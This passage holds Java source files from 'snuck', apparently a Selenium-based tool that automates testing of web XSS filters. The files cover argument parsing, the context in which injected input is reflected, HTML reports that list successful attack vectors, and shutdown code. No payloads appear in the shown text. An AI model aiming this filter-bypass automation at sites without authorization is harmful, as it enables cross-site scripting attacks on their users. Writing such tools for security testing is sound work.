													reflectionContext, operation, allowedElements, allowedProtocols, detectedXSSVectors, 
													false, true, xmlConfig.getMethod());
	    	Debug.print("\nA report has been generated: " + parseArgs.getReportfileName());
		}
		
		if (driverFast != null)
			driverFast.quit();
		
    	if (driver != null)
    		driver.quit();	
    	
    	if (service != null)
    		service.stop();
    	
    	HaltHandler.quit_nok();
	}
	
	public static void forceQuit() {
		if (reflectionContext != null) {
			report.ReportGenerator.generateReport(parseArgs.getReportfileName(), parseArgs.getConfigfileName(), usedBrowser, 
													reflectionContext, operation, allowedElements, allowedProtocols, detectedXSSVectors, 
													false, false, xmlConfig.getMethod());
	    	Debug.print("\n\nJust broken the tested XSS filter! \nA report has been generated: " + parseArgs.getReportfileName());
		}
		
		if (driverFast != null)
			driverFast.quit();
		
    	if (driver != null)
    		driver.quit();	
    	
    	if (service != null)
    		service.stop();
    	
    	HaltHandler.quit_ok();
	}
}

<|start_filename|>src/commandline/HaltHandler.java<|end_filename|>
/*
   snuck - shutdown operations
   --------------------------------
   
   Author: <NAME> <<EMAIL>>

   Copyright 2012 <NAME>

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

 */

package commandline;

import java.util.List;

import org.openqa.selenium.remote.UnreachableBrowserException;

import core.Starter;

public class HaltHandler extends Thread {
	public void run() { 
		
		Debug.print("\n\nShutting down..."); 
		
		List<String> toPrint = Starter.getDetectedXSSVector();
		
		if (toPrint != null && toPrint.size() != 0){
			Debug.print("Successful attack vectors:"); 

			for(String tmp : toPrint){
				Debug.print(tmp); 
			}
		}
	}
	
	public static void quit_ok(){
    	Runtime.getRuntime().removeShutdownHook(Starter.getHaltHandler());
    	
    	if (Starter.getDriverFast() != null)
    		Starter.getDriverFast().quit();
    	
    	if (Starter.getDriver() != null)
    		try {
    			Starter.getDriver().quit();
    		} catch (UnreachableBrowserException e){ 
    			// nothing - already died browser
    		} 
		
		if (Starter.getChromeService() != null)
			Starter.getChromeService().stop();
		
		System.exit(0);
	}
	
	public static void quit_nok(){
		Runtime.getRuntime().removeShutdownHook(Starter.getHaltHandler());	
		
		if (Starter.getDriverFast() != null)
    		Starter.getDriverFast().quit();
    	
    	if (Starter.getDriver() != null)
    		try {
    			Starter.getDriver().quit();
    		} catch (UnreachableBrowserException e){ 
    			// nothing - already died browser
    		}
    	
		if (Starter.getChromeService() != null)
			Starter.getChromeService().stop();
		
		System.exit(1);
	}
}


<|start_filename|>src/core/ContextDetection.java<|end_filename|>
/*
   snuck - reflection context detector
   --------------------------------
   
   Author: <NAME> <<EMAIL>>

   Copyright 2012 <NAME>

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

 */

package core;

import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import org.openqa.selenium.By;
import org.openqa.selenium.JavascriptExecutor;
import org.openqa.selenium.WebDriverException;
import org.openqa.selenium.WebElement;

public class ContextDetection {
	// possibly useful in the case of injection in an HTML attribute
	private static String injected_attribute = null;

	@SuppressWarnings("unchecked")
	public static List<WebElement> getParents(String injection, boolean IE_enabled) {
		List<WebElement> parents = null;
		
		// Expected reflection context: <tag>UNTRUSTED DATA</tag>

		/*
		 * IE does not accept the XPath query we use in Firefox and Chrome, so we 
		 * need to employ a JS function. Nevertheless the following one is
		 * not completely correct as it returns the first occurrence of the injection instead of 
		 * every occurrence in a list. 
		 * - improvements are required here
		 */
		if (IE_enabled) {
			String js = "var res = []; var all = document.getElementsByTagName(\"*\");" +
					"for (var i=0, max=all.length; i < max; i++) {" +
					"	if  ((all[i].innerText.indexOf(\"" + injection + "\") != -1 || all[i].innerHTML.indexOf(\"" + injection + "\") != -1 ) && all[i].innerHTML.indexOf(\"<\") == -1)" +
					"   	res[0] = all[i];" +
					"}" +
					"return res;";
			
			parents = (List<WebElement>) (((JavascriptExecutor)Starter.getDriver()).executeScript(js));

		} else {
			parents = Starter.getDriver().findElements(By.xpath("//*[text()[contains(., '" + injection + "')]]"));   	        
		}
		
		return parents;
	}

	@SuppressWarnings("unchecked")
	public static List<WebElement> getParentsWithInjectedAttribute(String injection, boolean IE_enabled) {
		List<WebElement> elements = null;
		
		// Expected reflection context = <element attribute="UNTRUSTED_DATA">
        if (IE_enabled) {        
			String js = "var res = [];  var all = document.getElementsByTagName(\"*\"); var z = 0;"+
						"for (var i=0, max=all.length; i < max; i++)" +
						"	for (var j = 0, attrs = all[i].attributes, l = attrs.length; j < l; j++)" +
						"     		if  (attrs[j].value.indexOf(\"" + injection + "\") != -1){" +
						"      	 		res[z] = all[i];" +
						"				z++;" +
						"			}" +
						"" +
						"return res;";

			elements = (List<WebElement>) (((JavascriptExecutor)Starter.getDriver()).executeScript(js));

        } else {
			elements = Starter.getDriver().findElements(By.xpath("//attribute::*[contains(., '" + injection + "')]/.."));
		}
        
        return elements;
	}

	public static boolean isInHtmlComment(String injection) {
		// Expected reflection context = <!-- UNTRUSTED_DATA -->
        Pattern pattern_html_comment = Pattern.compile("<!--.*" + injection + ".*-->");
    	Matcher matcher = pattern_html_comment.matcher(Starter.getDriver().getPageSource());
    	return matcher.find();
	}

	@SuppressWarnings("unchecked")
	public static String getAllAttributes(WebElement parent, boolean IE_enabled) {
        List<String> ListAttributes = null;
        String attrs = null;
        
	    if (!IE_enabled) {
	    	ListAttributes = (List<String>) ((JavascriptExecutor)Starter.getDriver()).executeScript("" +
	    			"var el = arguments[0]; var arr = []; " +
	        		"for (var i=0, attrs=el.attributes, l=attrs.length; i<l; i++) {" +
	        			"arr.push(attrs[i].name);" +
	        		"} " +
	        		"return arr;"
	        		, parent);
        	        
	        for (String attribute : ListAttributes){
	        		try {
	        			attrs += attribute + "=\"" + parent.getAttribute(attribute) + "\" ";
	        		} catch (WebDriverException e) {
	        			break;
	        		}
	        }
        }
	    
		return (attrs == null) ? "" : attrs;
	}

	@SuppressWarnings("unchecked")
	public static String getAttributesFromInjected(WebElement element, String injection, boolean IE_enabled) {
		List<String> attributes = null;
		String attrs = "";
		
		// get all the attributes of the injected element
        if(IE_enabled) {
        	attributes = (List<String>) ((JavascriptExecutor)Starter.getDriver()).executeScript("" +
	        		"var el = arguments[0]; var arr = []; " +
	        		"for (var i=0, attrs=el.attributes, l=attrs.length; i<l; i++) {" +
	        		"	if (attrs[i].value.indexOf(\"null\") == -1)" +
	        		"   	if (attrs[i].value.length != 0)" +
	        		"			arr.push(attrs[i].name);" +
	        		"} " +
	        		"return arr;"
	        		, element);
        } else {
	        attributes = (List<String>) ((JavascriptExecutor)Starter.getDriver()).executeScript("" +
	        		"var el = arguments[0]; var arr = []; " +
	        		"for (var i=0, attrs=el.attributes, l=attrs.length; i<l; i++) {" +
	        			"arr.push(attrs[i].name);" +
	        		"} " +
	        		"return arr;"
	        		, element);
        }
	        
        for (String attribute : attributes){
        	if (element.getAttribute(attribute) != null && element.getAttribute(attribute).contains(injection))
        		injected_attribute = attribute;
        	else 
        		attrs += attribute + "=\"" + element.getAttribute(attribute) + "\" ";
        }
                
        return attrs;
	}
	
	public static String getInjectedAttribute(){
		return injected_attribute;
	}
}


<|start_filename|>src/report/ReportGenerator.java<|end_filename|>
/*
   snuck - html report generator
   --------------------------------
   
   Author: <NAME> <<EMAIL>>

   Copyright 2012 <NAME>

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

 */

package report;

import java.io.*;
import java.util.List;
import java.util.Map;

import commandline.Debug;
import commandline.HaltHandler;

public class ReportGenerator {
	 public static void generateReport(String reportFileName, String XMLconfigFile, String InUseBrowser, 
			 String reflectionContext, int operation, Map<String, List<String>> allowedElements, 
			 List<String> allowedProtocols, List<String> detectedXSSVectors, 
			 boolean weakFilter, boolean brokenPage, int method) {
		 
		 try{
			 FileWriter fstream = new FileWriter(reportFileName);
			 BufferedWriter out = new BufferedWriter(fstream);
			 out.write("<!DOCTYPE html>");
			 out.write("<html>");
			 out.write("<head>" +
			 "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />" +
			 "<title>Test results</title>");
			 
			 if (method == 1){
				 out.write("<script>" +
				 "var escape_flag = 0;" +
				 "function flipUrlEncoding(){" +
				 "	var z = document.getElementsByName('vector');" +
				 "	var i;" +
				 "	if (escape_flag == 0){" +
				 "		for (i = 0; i < z.length; i++){" +
			     "			z[i].innerHTML = encodeURIComponent(z[i].innerHTML.replace(/&lt;/g,'<').replace(/&gt;/g,'>').replace(/&amp;/g,'&')).replace(/%5BCRLF%5D/g,'%0D%0A');" +
				 "		}" +
				 "		escape_flag = 1;" +
				 "	}else {" +
				 "	   for (i = 0; i < z.length; i++){" +
				 "			z[i].innerHTML = decodeURIComponent(z[i].innerHTML.replace(/%0D%0A/g,'%5BCRLF%5D')).replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');" +
				 "		}" +
				 "		escape_flag = 0;" +
				 "	}" +
				 "}" +
				 "</script>");
			 }
			 
			 out.write("<style type=\"text/css\">" +
			 			"body" +
				 		"{ 	line-height: 1.4em; }" +
						"" +
						"#hor-minimalist-b" +
						"{" +
						"font-family: \"Lucida Sans Unicode\", \"Lucida Grande\", Sans-Serif;" +
						"font-size: 12px;" +
						"background: #fff;" +
						"width: 750px;" +
						"border-collapse: collapse;" +
						"text-align: left;" +
						"}" +
						"" +
						"#hor-minimalist-b th" +
						"{" +
						"font-size: 14px;" +
						"font-weight: normal;" +
						"color: #039;" +
						"padding: 10px 8px;" +
						"border-bottom: 2px solid #6678b1;" +
						"}" +
						"" +
						"#hor-minimalist-b td" +
						"{" +
						"border-bottom: 1px solid #ccc;" +
						"color: #669;" +
						"padding: 6px 8px;" +
						"}" +
						"" +
						"#hor-minimalist-b tbody tr:hover td" +
						"{" +
						"color: #009;" +
						"}" +
						"#left {" +
						"float:left;" +
						"width:800px;" +
						"}" +
						"" +
						"#rigth {" +
						"float:right;" +
						"}" +
						"" +
						"#wrap {" +
						"width:100%;" +
						"margin:0 auto;" +
						"}" +
						"" +
						"div.redsquare {" +
						"align: right;" +
						"height: 17px;" +
						"width: 17px;" +
						"background-color: #FF0000;" +
						"}" +
						"" +
						"div.redsquare * {" +
						"display: none;" +
						"}" +
						"" +
						"div.orangesquare {" +
						"align: right;" +
						"height: 17px;" +
						"width: 17px;" +
						"background-color: #FFA500;" +
						"}" +
						"" +
						"div.orangesquare * {" +
						"display: none;" +
						"}" +
						"</style>" +
			 "</head>" +
			 "<body>");
			 			 
			 out.write("" +
			 		"<div id=\"wrap\">" +
			 		"<div id=\"left\">" +
			 		"<table id=\"hor-minimalist-b\">" +
					 "  <thead>" +
					 "   	<tr>" +
					 "       	<th scope=\"col\">Reflection context</th>" +
					 "      </tr>" +
					 " </thead>" +
					 " <tbody>" +
					 "<tr>" +
					 "<td>");
					 if (reflectionContext != null)
						 out.write(reflectionContext.
								 replace("&", "&amp").
								 replace("<", "&lt;").
								 replace(">", "&gt;").
								 replace("UNTRUSTED DATA", "<font color=\"red\">UNTRUSTED_DATA</font>"));
			  out.write("</td>" +
					 "</tr>" +
					 "<tbody>" +
					 "</table>" +
					 "<br />");
			 
			 out.write("" +
				 		"<table id=\"hor-minimalist-b\">" +
						 "  <thead>" +
						 "   	<tr>" +
						 "       	<th scope=\"col\">Detected operation</th>" +
						 "      </tr>" +
						 " </thead>" +
						 " <tbody>" +
						 "<tr>" +
						 "<td>" +
						 ((operation == 1) ? "INSERT" : "UPDATE") +
						 "</td>" +
						 "</tr>" +
						 "<tbody>" +
						 "</table>" +
						 "<br />");
			 
			 if (allowedElements.size() != 0) {
				 out.write("<table id=\"hor-minimalist-b\">" +
						 "  <thead>" +
						 "   	<tr>" +
						 "       	<th scope=\"col\">Allowed Tags</th>" +
						 "          <th scope=\"col\">Allowed Attributes</th>" +
						 "      </tr>" +
						 " </thead>" +
						 " <tbody>");
				 
				 for (String key : allowedElements.keySet()){
					 
					 out.write("<tr>");
					 out.write("<td>" + key + "</td>");
					 
					 out.write("<td>");
		            	if (allowedElements.get(key) != null) {
			            	for (String t : allowedElements.get(key)){
			            		 out.write(t+ " ");
			            	}
		            	} else 
		            		out.write("-");
		            out.write("</td>");
		            out.write("</tr>");
		         }
				 	
				out.write("</tbody>" +
				"</table>");
			} else {
					            
	            if (allowedProtocols.size() == 0){
		            out.write("<table id=\"hor-minimalist-b\">" +
							"   <thead>" +
							"	  	<tr>" +
							"       	<th scope=\"col\">Use Case</th>" +
							"        </tr>" +
							"   </thead>" +
							"   <tbody>" +
							"<tr>" +
							"<td>" +
							"<textarea style=\"width: 100%; height: 500px;\">");
									
							readConfigFile(XMLconfigFile, out);
							    	
							out.write("</textarea>" +
									"</td>" +
									"</tr>" +
									"</tbody>" +
							"</table>");
		        }
			}
			 		 
			if (allowedProtocols.size() != 0) {
				 out.write("<table id=\"hor-minimalist-b\">" +
						 "  <thead>" +
						 "   	<tr>" +
						 "       	<th scope=\"col\">Allowed Protocols (schemes)</th>" +
						 "      </tr>" +
						 " </thead>" +
						 " <tbody>");
				 
				 for (String prot : allowedProtocols) {
					out.write("<tr>");
					out.write("<td>" + prot + "</td>");
		            out.write("</tr>");
		         }
				 	
				out.write("</tbody>" +
				"</table>");
			}	
			
			out.write("</div>");
			out.write("<div id=\"right\">");

			out.write("<table id=\"hor-minimalist-b\">" +
					"   <thead>" +
					"	  	<tr>" +
					"       	<th scope=\"col\">Web Browser</th>" +
					"        </tr>" +
					"   </thead>" +
					"   <tbody>" +
					"<tr>" +
					"<td>" +
					InUseBrowser + 
					"</td>" +
					"</tr>" +
					"</tbody>" +
					"</table>" +
					"<br />");
			
			out.write("<table id=\"hor-minimalist-b\">" +
			"   <thead>" +
			"	  	<tr>" +
			"       	<th scope=\"col\">Detected XSS " + (method == 1 ? "[<a href=\"#\" onclick=\"flipUrlEncoding();\">URL (e|de)ncode vectors</a>]" : "") + "</th>" +
			"        </tr>" +
			"   </thead>" +
			"   <tbody>");
					
			if (detectedXSSVectors.size() != 0){
				for (String t : detectedXSSVectors){
					out.write("<tr>");
					out.write("<td name=\"vector\">" + t.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("\r\n", "[CRLF]") + "</td>");
					out.write("</tr>");
				}
				if (weakFilter) {
					out.write("<tr>");
					out.write("<td style=\"text-align: right;\"><div class=\"redsquare\"><p>.</p></div>" +
							"Note: the tested XSS filter is too weak. Many other attack vectors would also work!" +
							"</td>");
					out.write("</tr>");
				}		
				if (brokenPage){
					out.write("<tr>");
					out.write("<td style=\"text-align: right;\"><div class=\"orangesquare\"><p>.</p></div>" +
							"Note: the last injection broke the reflection page, therefore the test had to be stopped." +
							"</td>");
					out.write("</tr>");
				}
			} else {
				out.write("<tr>");
				out.write("<td>No XSS detected!</td>");
				out.write("</tr>");
				
				if (brokenPage){
					out.write("<tr>");
					out.write("<td style=\"text-align: right;\"><div class=\"orangesquare\"><p>.</p></div>" +
							"Note: the last injection broke the reflection page, therefore the test had to be stopped." +
							"</td>");
					out.write("</tr>");
				}
			}
			    	
			out.write("</tbody>" +
			"</table>" +
			"<br />");
					
			if (allowedElements.size() != 0 || allowedProtocols.size() != 0) {
				out.write("<table id=\"hor-minimalist-b\">" +
						"   <thead>" +
						"	  	<tr>" +
						"       	<th scope=\"col\">Config file</th>" +
						"        </tr>" +
						"   </thead>" +
						"   <tbody>" +
						"<tr>" +
						"<td>" +
						"<textarea style=\"width: 100%; height: 400px;\">");
								
						readConfigFile(XMLconfigFile, out);
						    	
						out.write("</textarea>" +
								"</td>" +
								"</tr>" +
								"</tbody>" +
						"</table>");
			}

			out.write("</div>" +
					"</div>" +
					"</body>" +
					"</html>");
			
			out.close();

		 }catch (Exception e){
			 Debug.printError("ERROR: report generation failure");
			 HaltHandler.quit_nok();
		 }
	 }

	private static void readConfigFile(String xMLconfigFile, BufferedWriter out){
		 try{
			 FileInputStream fstream = new FileInputStream(xMLconfigFile);
			 DataInputStream in = new DataInputStream(fstream);
			 BufferedReader br = new BufferedReader(new InputStreamReader(in));
			 String strLine;

			 while ((strLine = br.readLine()) != null) {
				out.write(strLine + "\n");
			 }

			  in.close();
		}catch (Exception e){
			Debug.printError("ERROR: unable to read the xml config file");
			HaltHandler.quit_nok();
		}
	}
}

<|start_filename|>src/commandline/CmdArgsParser.java<|end_filename|>
/*
   snuck - command line arguments parser
   --------------------------------
   
   Author: <NAME> <<EMAIL>>

   Copyright 2012 <NAME>

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

 */

package commandline;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import xmlparser.XmlConfigReader;

public class CmdArgsParser {
	// xml config file for login use case
	private String start_configfile;
	
	// xml config file for injection use case
	private String configfile;
	
	// report file
	private String reportfile;
	
	// IP:port
	private String proxyIP_port;
	
	// path to the Chromedriver file 
	private String chromedriver_file;
	
	// path to the IEdriver file 
	private String iedriver_file;
		
	private boolean IE_enabled = false;
	
	private boolean stop_first_positive = false;

	// delay between any injection
	private int delay = 0;
	
	// remote repository for attack vectors
	private String remoteXSSVectorsRepositoryURL;
		
	private String usage = 	"snuck [-start xmlconfigfile] -config xmlconfigfile -report htmlreportfile [-d #ms_delay] [-proxy IP:port]  [-chrome chromedriver]  [-ie iedriver] [-remotevectors URL] [-stop-first] [-reflected targetURL -p parameter_toTest] [-no-multi]";
	
	public CmdArgsParser(String[] args){
		this.parseArguments(args);
	}
	
	/**
	 * Parses the arguments from the command line and populates the global parameters of the current CmdArgsParser object
	 */
	public void parseArguments(String[] args) {
		int i = 0;
		String arg;
        String targetURL = null;
        String targetParam = null;
        
		if (args.length == 0){
			showHelpMessage();
			HaltHandler.quit_nok();
		} else {
			for (String tmp : args){
				if (tmp.equals("-help") || tmp.equals("--help") || tmp.equals("-h") || tmp.equals("--h")) {
	            	showHelpMessage();
					HaltHandler.quit_ok();
				}
			}
			
			for (; i < args.length; i++) {
				arg = args[i];
					
				if (arg.startsWith("-")){
					if (arg.equals("-config")) {
		                if (i != args.length - 1 && !args[i+1].startsWith("-")){
		                	configfile = args[i+1];
		                	i++;
		                } else {
		                	Debug.printError("ERROR: -config requires a filename");
			                HaltHandler.quit_nok();
			            }
		            } else if (arg.equals("-report")) {
		                if (i != args.length - 1 && !args[i+1].startsWith("-")) {
		                	reportfile = args[i+1];
		                	i++;
		                	File f = new File(reportfile);
		                	if (f.exists()) {
		                		Debug.printError("ERROR: " + reportfile + " already exists. ");
		                		Debug.printError("Press Y and Enter to overwrite it or N and Enter to exit");
		                		
		                		String input = Debug.readLine();
		                		
		                		if (input != null && (input.equals("Y") || input.equals("y"))){
			                		Debug.print("\n");
		                			continue;
		                		} else 
		                			HaltHandler.quit_nok();
		                	}
		                } else {
		                	Debug.printError("ERROR: -report requires a filename");
			                HaltHandler.quit_nok();
			            }
		            } else if (arg.equals("-d")) {
		            	if (i != args.length - 1 && !args[i+1].startsWith("-")) {
		            		
		            		try {
		                		delay = Integer.valueOf(args[i+1]);
		            		} catch (Exception e){
		            			 Debug.printError("ERROR: provide an integer value for the delay");
					             HaltHandler.quit_nok();
		            		}
		            		
		                	i++;
		            	} else {
		            		Debug.printError("ERROR: -d requires an integer (ms)");
		                    HaltHandler.quit_nok();
		                }
		            } else if (arg.equals("-start")) {
		            	if (i != args.length - 1 && !args[i+1].startsWith("-")) {
		                	start_configfile = args[i+1];
		                	i++;
		            	} else {
		            		Debug.printError("ERROR: -start requires a filename");
		                    HaltHandler.quit_nok();
		                }
		            }  else if (arg.equals("-proxy")) {
		            	if (i != args.length - 1 && !args[i+1].startsWith("-")) {
		                	proxyIP_port = args[i+1];
		                	i++;
		                	
		                	if (proxyIP_port.contains(":")){
			                	String ipAddress_Pattern = 
			                				"^([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\." +
			                				"([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\." +
			                				"([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\." +
			                				"([01]?\\d\\d?|2[0-4]\\d|25[0-5])$";
			                	Pattern pattern = Pattern.compile(ipAddress_Pattern);
			                	Matcher matcher = pattern.matcher(proxyIP_port.substring(0, proxyIP_port.indexOf(":")));
			                	
			                	if (!matcher.matches()){
			                		Debug.printError("ERROR: invalid IP address");
			                		HaltHandler.quit_nok();
			                	}
			                	
			                	String port = proxyIP_port.substring(proxyIP_port.indexOf(":") + 1);
			                	
			                	try {
			                		Integer.parseInt(port);
			                	} catch (Exception e){
			                		Debug.printError("ERROR: invalid port number");
			                		HaltHandler.quit_nok();
			                	}
		                	} else {
		                		Debug.printError("ERROR: invalid syntax for proxy address");
		                		HaltHandler.quit_nok();
		                	}
		                	 
		            	} else {
		            		Debug.printError("ERROR: -proxy requires a proxy server (IP:port)");
		                    HaltHandler.quit_nok();
		                }
		            	
		            } else if (arg.equals("-chrome")) {
		            	if (i != args.length - 1 && !args[i+1].startsWith("-")) {
		                	chromedriver_file = args[i+1];
		                	i++;
		            	} else {
		            		Debug.printError("ERROR: -chrome requires the path to chromedriver");
		                    HaltHandler.quit_nok();
		                }
		            } else if (arg.equals("-ie")) {
		            	if (i != args.length - 1 && !args[i+1].startsWith("-")) {
		                	iedriver_file = args[i+1];
		                	i++;
		            		IE_enabled = true;
		            	} else {
		            		Debug.printError("ERROR: -ie requires the path to IEdriver");
		                    HaltHandler.quit_nok();
		                }
		            } else if (arg.equals("-remotevectors")) {
		            	if (i != args.length - 1 && !args[i+1].startsWith("-")) {
		            		remoteXSSVectorsRepositoryURL = args[i+1];
		                	i++;
		            	} else {
		            		Debug.printError("ERROR: -remotevectors requires a repository URL");
		                    HaltHandler.quit_nok();
		                }
		            } else if (arg.equals("-stop-first")) {
		            	stop_first_positive = true;
		            } else if (arg.equals("-reflected")){
		            	if (i != args.length - 1 && !args[i+1].startsWith("-")) {
		            		if (!args[i+1].startsWith("http://") && !args[i+1].startsWith("https://")){
		            			Debug.printError("ERROR: -reflected requires a target URL that starts with http(s?)://");
			                    HaltHandler.quit_nok();
		            		}
		            			
		            		targetURL = args[i+1];
		                	i++;
		            	} else {
		            		Debug.printError("ERROR: -reflected requires a target URL");
		                    HaltHandler.quit_nok();
		                }
		            } else if (arg.equals("-p")){
		            	if (i != args.length - 1 && !args[i+1].startsWith("-")) {
		            		targetParam = args[i+1];
		                	i++;
		            	} 
		            } else if (arg.equals("-no-multi")){
		            	delay = 1;
		            } else {
		            	Debug.printError(usage);
		                HaltHandler.quit_nok();
		            }
				}
			}
			
			if (targetURL != null && targetParam == null){
				Debug.printError("INFO: -reflected should be associated to an HTTP GET parameter (-p argument).\n" +
								 "\tThe injection will be positioned at the end of the current path in the form of: http://target.foo/injection.\n" +
								 "\tNote that supplied HTTP GET parameters won't be considered.");
                
				writeXmlFile(targetURL, "");    
			} else if (targetURL == null && targetParam != null){
				Debug.printError("ERROR: -p must be associated to a target URL (-reflected argument)");
                HaltHandler.quit_nok();
			} else if (targetURL != null && targetParam != null){
				if (configfile != null){
					Debug.printError("ERROR: -config cannot be used with -reflected");
	                HaltHandler.quit_nok();
				}
				
				writeXmlFile(targetURL, targetParam);
			}
			
			if (configfile == null || reportfile == null) {
				Debug.printError(usage);
				HaltHandler.quit_ok();
			} else {
				Debug.print("INFO: If [!] is showed during a test, then a bypass has been detected");
				Debug.print("INFO: You can stop the test through CTRL+C - if this happens, then a list of successful attack vectors will be printed in stdout\n");
				Debug.print("INFO: Starting...\n");
			}
		}
    }

	private void writeXmlFile(String targetURL, String targetParam){
		String temp_conf_file = XmlConfigReader.generateReflectedConfigFile(targetURL, targetParam);
		DateFormat dateFormat = new SimpleDateFormat("MM-dd-yyyy-HH-mm-ss");
		Date date = new Date();
		FileWriter fstream = null;
		BufferedWriter out =  null;
		configfile = "config_" + dateFormat.format(date).toString() + ".xml";
		
		try {
			fstream = new FileWriter(configfile);
		} catch (IOException e) {
			Debug.printError("ERROR: unable to create the XML config file");
            HaltHandler.quit_nok();
		}
		
		out = new BufferedWriter(fstream);
		
		try {
			out.write(temp_conf_file);
			out.close();
		} catch (IOException e) {
			Debug.printError("ERROR: unable to write the XML config file");
            HaltHandler.quit_nok();
		}
	}
	
	private void showHelpMessage() {
		Debug.print();
		Debug.print("Usage: ");
		Debug.print();
		Debug.print(usage);
		Debug.print();
		Debug.print("Options:");
		Debug.print();
		Debug.print(" -start\t\t path to the login use case (XML file)");
		Debug.print(" -config\t path to the injection use case (XML file)");
		Debug.print(" -report\t report file name (html extension is required)");
		Debug.print(" -d\t\t delay (ms) between each injection");
		Debug.print(" -proxy\t\t proxy server (IP:port)");
		Debug.print(" -chrome\t perform a test with Google Chrome, instead of Firefox.\n\t\t It needs the path to the chromedriver");
		Debug.print(" -ie\t\t perform a test with Internet Explorer, instead of Firefox.\n\t\t Disable the XSS filter in advance");
		Debug.print(" -remotevectors\t use an up-to-date online attack vectors' source instead of the local one");
		Debug.print(" -stop-first\t stop the test upon a successful vector is detected");
		Debug.print(" -no-multi\t deactivate multithreading for the reverse engineering process - a sequential approach will be adopted");
		Debug.print(" -reflected\t perform a reflected XSS test (without writing the XML config file)");
		Debug.print(" -p\t\t HTTP GET parameter to inject (useful if -reflected is setted)");
		Debug.print(" -help\t\t show this help menu");
	}
		
	public String getProxyInfo() {
		return proxyIP_port;
	}
	
	public String getStartConfigfileName() {
		return start_configfile;
	}
	
	public String getConfigfileName() {
		return configfile;
	}
	
	public String getReportfileName() {
		return reportfile;
	}
	
	public int getDelayInterval() {
		return delay;
	}

	public String getChromeDriverPath() {
		return chromedriver_file;
	}
	
	public boolean getEnabledIE() {
		return IE_enabled;
	}
	
	public String getAttackVectorsRepositoryURL() {
		return remoteXSSVectorsRepositoryURL;
	}

	public String getIEDriverPath() {
		return iedriver_file;
	}
	
	public boolean getStopFirstPositive() {
		return stop_first_positive;
	}
}


<|start_filename|>src/core/Reverser.java<|end_filename|>
/*
   snuck - reverse engineering processor
   --------------------------------
   
   Author: <NAME> <<EMAIL>>

   Copyright 2012 <NAME>

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

 */

package core;

import java.math.BigInteger;
import java.security.SecureRandom;
import java.util.HashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import org.openqa.selenium.htmlunit.HtmlUnitDriver;
import org.openqa.selenium.remote.CapabilityType;
import org.openqa.selenium.remote.DesiredCapabilities;

import xmlparser.XmlConfigReader;

import commandline.CmdArgsParser;

public class Reverser extends Thread {
	// HTML attributes this thread is going to inject
	private String htmlAttributes = null;
	
	// all the possible HTML attributes
	private String[] htmlAttributes_arr = null;
	
	// HTML elements this thread is going to inject
	private String[] htmlElements = null;
	
	// HTMLUnit web driver - each thread has its own driver
	private HtmlUnitDriver driver = null;
	
	// XML configuration file parser
	private XmlConfigReader xmlConfig = null;
	
	// total # of injection for all the started threads
	private int num_injections;
	
	// "shared" bar
	private static commandline.ProgressBar bar = new commandline.ProgressBar();
	
	// "shared" map
	private static HashMap<String, List<String>> allowedElements = new HashMap<String, List<String>>();
	
	private static int j = 0;
	
	public Reverser(String[] elements, String attributes, String[] htmlAttributes_arr, int length) {
		this.htmlElements = elements;
		this.htmlAttributes = attributes;
		this.htmlAttributes_arr = htmlAttributes_arr;
		this.num_injections = length;
		CmdArgsParser args = Starter.getParsedArgs();
		
		xmlConfig = new XmlConfigReader(args.getConfigfileName());
				
		if (args.getProxyInfo() != null){
			String proxy_conf = args.getProxyInfo();

	    	org.openqa.selenium.Proxy proxy = new org.openqa.selenium.Proxy();
	    	proxy.setHttpProxy(proxy_conf).setFtpProxy(proxy_conf).setSslProxy(proxy_conf);
	    	DesiredCapabilities cap = new DesiredCapabilities();
	    	cap.setCapability(CapabilityType.PROXY, proxy);
	    	driver = new HtmlUnitDriver(cap);
		} else 
			driver = new HtmlUnitDriver();
		
		if (args.getStartConfigfileName() != null){
			XmlConfigReader xmlConfigStart = new XmlConfigReader(args.getStartConfigfileName());
	    	xmlConfigStart.commonInject(driver, null, 0);
		}
	}
		 
	public void run() {
		String first_delimiter = new BigInteger(130, new SecureRandom()).toString(16);
		String current;
		String delimiter;
